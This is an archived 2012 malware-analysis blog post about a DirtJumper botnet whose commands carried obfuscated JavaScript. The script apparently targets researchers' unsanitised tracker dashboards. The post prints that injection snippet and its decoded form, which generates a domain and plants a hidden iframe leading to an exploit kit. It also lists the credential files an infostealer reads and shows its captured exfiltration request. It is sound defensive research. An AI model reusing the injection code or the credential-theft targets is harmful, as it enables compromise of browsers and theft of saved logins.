Beware the trolls, secure your trackers

Archived: 2026-04-05 18:24:42 UTC

by Claudio Guarnieri

(**Note**: the post was originally written on Aug 8th 2012)

You track botnets? Right, we do as well.
You spent your weekends building your slick botnet trackers and some fancy web interface? Damn, we did too.

But let's face the truth, DDoS is f**king boring. What gives better sense to your day than some random crook trolling you and your monitoring infrastructure? Nothing.
So here's what happened today…

Since I'm not really following the DDoS scene a lot lately, I kinda left over for some time the trackers that I built and that we are using internally in Shadowserver. Today I decided to open it up again just to show it some love and check if there was anything interesting being targeted, while sipping my coffee.
I was expecting the usual amount of porn websites, random Russian forums, Lineage II shards and the traditional average target for the traditional average botnet, but that wasn't the case today… something stood up.

One of the DirtJumper botnets we are tracking, located on the domain "**bnbgcw.com**" started spreading some weird commands:

```
03|15|60http://kniga-jalob.ru/jaloba_one.php?
id=95&id_2=4833<script>try{n^=window["ev"+"al"];}catch(zxc){e=eval;n="1122..1404..1210..1188..
[...] ..528..492..649".split("..");h=2;s="";for(i=0;i-1769<0;i=1+i)
{k=i;s=s+String["fromCharCode"](n[k]/(i-h*Math.floor(i/h)+11));}if(015-
0xa===3)if(window.document)e(s);}</script>
```

The beginning of the command is a traditional DirtJumper response, some basic parameters (like threads, duration of attack, delay of C&C polling and such) separated by a dash and followed by the actual target of the DDoS attack, and here comes the funny thing. Appended to the original target (which was already being attacked previously and that isn't really relevant for us at this stage) is a whole bunch of obfuscated JavaScript code.

I removed the whole obfuscated code, but you can see it decoded as follows:

```
function nextRandomNumber(){
  var hi = this .seed / this .Q;
  var lo = this .seed % this .Q;
  var test = this .A * lo - this .R * hi;
  if (test > 0){
    this .seed = test;
  }
  else {
    this .seed = test + this .M;
  }
  return (this .seed * this .oneOverM);
}
function RandomNumberGenerator(unix){
  var d = new Date(unix * 1000);
  var s = Math.ceil(d.getHours() / 3);
  this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) +
  round(s * 0xFFF));
  this .A = 48271;
  this .M = 2147483647;
  this .Q = this .M / this .A;
  this .R = this .M % this .A;
  this .oneOverM = 1.0 / this .M;
  this .next = nextRandomNumber;
  return this ;
}
function createRandomNumber(r, Min, Max){
  return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone){
  var rand = new RandomNumberGenerator(unix);
  var letters = "buaxoqeriqwkgfkdyenzossqlxfqayvpr".split('');
  var str = '';
  for (var i = 0; i < length; i ++ ){
    str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  }
  return str + '.' + zone;
}
setInterval(function (){
  try {
    if (typeof iframeWasCreated == "undefined"){
      var unix = Math.round( + new Date() / 1000);
      var domainName = generatePseudoRandomString(unix, 16, 'ru');
      ifrm = document.createElement("IFRAME");
      ifrm.setAttribute("src", "http://" + domainName + "/in.cgi?15");
      ifrm.style.width = "0px";
      ifrm.style.height = "0px";
      ifrm.style.visibility = "hidden";
      document.body.appendChild(ifrm);
      iframeWasCreated = true;
    }
  }
  catch (e){
    iframeWasCreated = undefined;
  }
}
, 100);
```

So what this thing does in short is:

1. dynamically generate a domain out of a given seed and the current date
2. use the domain to build a landing URL
3. embed the URL in an <iframe> which is then printed in the page body

In the end, it will load a page located at:

hxxp://kegkvfoagyqoouky[.]ru/in.cgi?15

So, assuming that this guy is not dumb enough to possibly try to magically remote exploit or inject the target page through the use of his botnet, my idea is that what he is actually trying achieve is **exploit security researchers like us that are tracking his own botnet**.
It's actually quite a sharp idea: your tracker pulls the command from his C&C, store it in some sort of database and print it in your fancy web interface, you didn't bother to sanitize the data, the <iframe> gets embedded in your own page and BANG, your pwned.

If you run the URL through Thug (thanks Angelo!), you'll see that the page (when meeting certain requirements) actually redirects to:

hxxp://wertbuy.toythieves[.]com/main.php?page=9dd146e88937797b

A BlackHole setup which, after a failed attempt of loading a Java applet Torb.jar (1/41), successfully used the infamous Microsoft MDAC RDS.Dataspace ActiveX vulnerability to exploit the browser and drop the payload. Nothing new, traditional BlackHole behavior, but you can find the complete Thug report here.
Upon successful exploitation, it drops a payload with the following characteristics:

File size: 348672 bytes
File type: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
CRC32: C9ABC946
MD5: 4ce73d6a52bfa3f56c67942f8ebf2c69
SHA1: 6ce4f9bbf786f69a51d7f54e2cc190e438eb1c24
SHA256: ac81dc130e331d6e0f09e58b520981776aebfaf8e3dab68e96d4e2252b0a6f7c
SHA512:
b2d7edba3470c179873555e2937cd28c471a6b4da83632157d27cc7d2d58caffe97f7a2fc63199ed83d3d251fd0dbae849b86a1860234aecac0594
Ssdeep: 1536:Qy23ZX+7rtoub3aBsUV+xhhD2a4ToJsQ0fd3AonLa:Qy2Ngr3Ev+tya99

We are not sure yet about the nature of the malware as it an extremely low detection rate (1/40), but it looks consistent to **Pony**, a loader and infostealer widely used in ZeuS campaigns.
The first reason we believe it is because, just like Pony, this sample is not persistent: it executes from the memory, deletes itself and just disappear.
The second reason is because of the data it tries to collect and steal:

C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP\sm.dat
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP\
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Pro\sm.dat
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Pro\
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Lite\sm.dat
C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP Lite\
C:\Documents and Settings\User\Application Data\CuteFTP\sm.dat
C:\Documents and Settings\User\Application Data\CuteFTP\
C:\Documents and Settings\User\Application Data\FlashFXP\3\Sites.dat
C:\Documents and Settings\User\Application Data\FlashFXP\4\Sites.dat
C:\Documents and Settings\User\Application Data\FlashFXP\3\Quick.dat
C:\Documents and Settings\User\Application Data\FlashFXP\4\Quick.dat
C:\Documents and Settings\User\Application Data\FlashFXP\3\History.dat
C:\Documents and Settings\User\Application Data\FlashFXP\4\History.dat
C:\Documents and Settings\User\Application Data\FileZilla\sitemanager.xml
C:\Documents and Settings\User\Application Data\FileZilla\recentservers.xml
C:\Documents and Settings\User\Application Data\FileZilla\filezilla.xml
C:\Documents and Settings\User\Application Data\SmartFTP\
C:\Documents and Settings\User\Application Data\TurboFTP\
C:\Documents and Settings\User\Application Data\FTP Explorer\
C:\Documents and Settings\User\Application Data\Frigate3\
C:\Documents and Settings\User\Application Data\VanDyke\Config\Sessions\
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\profiles.ini
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\bookmarkbackups\
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\minidumps\
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\signons.sqlite
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\secmod.db
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\cert8.db
C:\Documents and Settings\User\Application Data\Mozilla\Firefox\Profiles\abcdefgh.default\key3.db

And much much more…

It then establishes a network communication to “coppercreek.ru”:

```
POST /boi854tr4w.php HTTP/1.0
Host: coppercreek.ru
Accept: */*
Accept-Encoding: identity, *;q=0
Content-Length: 269
Connection: close
Content-Type: application/octet-stream
Content-Encoding: binary
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

0000010C 43 52 59 50 54 45 44 30 a8 71 d1 89 53 50 b1 e1 CRYPTED0 .q..SP..
0000011C 90 ca 28 0b 58 99 fe 0a ea a0 17 b2 0d 49 95 a6 ..(.X... .....I..
0000012C 7d 62 57 c1 f6 6b 22 8a 27 77 fd ab 9d 4e b1 2a }bW..k". 'w...N.*
0000013C 10 2e 2a 76 9e 62 53 e4 b6 32 c2 14 f8 e5 27 77 ..*v.bS. .2....'w
0000014C 8c aa 85 57 15 4e 06 81 d2 1d c6 79 49 0d 8a ad ...W.N.. ...yI...
0000015C c1 1a b3 b3 3c 35 3d ee 38 ea 3d 5c f0 5a 69 93 ....<5=. 8.=\.Zi.
0000016C bd be d3 43 1b 58 97 1f 97 33 44 e2 cb 1d 52 f5 ...C.X.. .3D...R.
0000017C cb 19 df 47 ba df e8 9e 71 89 92 46 b4 13 14 bd ...G.... q..F....
0000018C 35 b4 84 0b 0d 10 cb d4 37 da 26 f4 0e bd 21 c5 5....... 7.&...!.
0000019C 0b 0b 4d ce 3f fa 95 3e 04 7e fd 50 01 0f 20 da ..M.?..> .~.P.. .
000001AC 68 21 33 41 54 93 44 2e 58 ba 8f 66 f3 c9 d3 6e h!3AT.D. X..f...n
000001BC 7f ee 8d 7b 0b 70 9f 92 ce f8 8d dd 59 db 11 aa ...{.p.. ....Y...
000001CC 29 42 1b ec 9a 20 28 2e 9e 37 f4 40 5e 95 40 79 )B... (. .7.@^.@y
000001DC c1 8b 9e ca 4a dd 05 6a 0f 53 c6 ce 64 c0 ab e3 ....J..j .S..d...
000001EC 75 70 f0 b2 3b ef 1e 8c 53 4e 35 47 5b 17 0f 0a up..;... SN5G[...
000001FC 2a 1c 8c 44 a7 4d cc 9a 7a 09 c2 6d 2a 3f 30 ff *..D.M.. z..m*?0.
0000020C 4a a4 27 92 7c a5 0b 85 e3 e9 eb 9d cf J.'.|... .....

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 08 Aug 2012 16:33:11 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 16
Connection: close
X-Powered-By: PHP/5.3.15
Vary: Accept-Encoding,User-Agent

STATUS-IMPORT-OK
```

We are not sure about the nature of the encryption, it will need more time to analyze it. If you already encountered this and you are able to recognize the family, please let us know.
No additional payload was dropped.

It's very interesting to note that this payload was uploaded both on VirusTotal and on Malwr.com today from a Verizon Wireless connection in USA. As you can see the analysis on Malwr failed (**side note**: Malwr is currently running a very outdated version of Cuckoo Sandbox, whose version 0.4 is perfectly able to analyze this sample).
This attack has been going on for a couple of days already, but the latest version has been updated today.
A very similar version of this sample, with same behavior and file name, has been uploaded by the same guy a few days earlier on Malwr.com and on VirusTotal again.
In that case the results of Malwr's analysis as well as Antiviruses detection were much better, therefore, unless some of you guys come up these days to tell me it was him, this makes me believe that the mastermind behind these attacks has been **actively trying to enhance his evasion and anti-detection techniques** until he reached satisfying results.

This could be a whole big speculation, the guy might just be totally dumb and there was no intention to actually target botnet researchers.
But if this was actually a correct interpretation, it's a very interesting learning experience and a warning to all the researchers out there feeling safe: our security panopticon could actually turn inside out and making us the ones being watched.

Update #1: the detection rate of the sample increased to 16/41 at this time.

Update #2: Our friend Armin from WebSense informed us that this attack matches with an ongoing campaign that they have been tracking. Seems like this DirtJumper C&C got compromised and it's distributing the JavaScript code we presented. It's kinda hilarious, crooks getting pwnd by other crooks, but the result is still the same: some harmful code included in the context of trusted applications as our botnet trackers are.
